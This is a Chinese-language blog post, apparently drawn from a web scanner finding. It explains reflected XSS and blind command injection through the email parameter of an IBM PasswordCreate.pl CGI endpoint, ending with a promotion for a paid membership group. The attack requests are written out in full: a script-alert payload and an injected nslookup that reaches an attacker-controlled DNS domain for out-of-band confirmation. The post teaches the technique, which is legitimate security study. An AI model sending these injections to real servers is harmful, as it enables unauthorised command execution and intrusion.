正常请求:
正常情况下,email参数应仅包含合法的电子邮件地址,不应包含特殊字符或恶意代码。例如:
GET /cgi-bin/PasswordCreate.pl?email=example%40email.com&ibm-submit=Submit HTTP/1.1
Host: dstuid-ww.dst.ibm.com
请求URL为:
https://dstuid-ww.dst.ibm.com/cgi-bin/PasswordCreate.pl?email=example%40email.com&ibm-submit=Submit
可以转换为POST 请求:(bp里面右击可以自动转换)
POST /cgi-bin/PasswordCreate.pl HTTP/1.1
Host: dstuid-ww.dst.ibm.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 39
Content-Type: application/x-www-form-urlencoded
Referer: https://dstuid-ww.dst.ibm.com/PasswordCreate.html
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36
X-Scanner: Netsparkeremail=example%40email.com&ibm-submit=Submit
攻击请求 攻击请求包含恶意代码或命令,利用服务器处理不当的漏洞进行攻击。例如:
GET /cgi-bin/PasswordCreate.pl?email=%26nslookup%20%22dqzr3elx6wgztgtzd3if-0oyyf_qzd2wodwlaljh%22%2286m.r87.me%22cier4%3cscript%3ealert(1)%3c%2fscript%3emikflzhwaep&ibm-submit=Submit HTTP/1.1
Host: dstuid-ww.dst.ibm.com
此请求中,email参数包含了<script>alert(1)</script>
,当被服务器处理并返回给用户时,会在用户浏览器中执行alert(1)脚本。
升级为命令注入:
POST /cgi-bin/PasswordCreate.pl HTTP/1.1
Host: dstuid-ww.dst.ibm.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 39
Content-Type: application/x-www-form-urlencoded
Referer: https://dstuid-ww.dst.ibm.com/PasswordCreate.html
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36
X-Scanner: Netsparkeremail=%26nslookup%20%22dqzr3elx6wgztgtzd3if-0oyyf_qzd2wodwlaljh%22%2286m.r87.me%22&ibm-submit=Submit
在此请求中,email参数被注入了&nslookup "dqzr3elx6wgztgtzd3if-0oyyf_qzd2wodwlaljh" "86m.r87.me"
,会导致服务器执行nslookup命令。
当这个命令被执行时,系统会尝试查询dqzr3elx6wgztgtzd3if-0oyyf_qzd2wodwlaljh.86m.r87.me
的DNS记录。攻击者可以在他们控制的DNS服务器(这里是 r87.me
的DNS服务器)上接收查询请求,从而确认命令在目标服务器上被执行了。这种技术被称为“DNS外带”技术,是一种用于确认命令执行的常见方法。通过这种方式,攻击者可以在没有直接响应的情况下,仍能确认服务器执行了他们注入的命令。
如果你是一个长期主义者,欢迎加入我的知识星球,我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款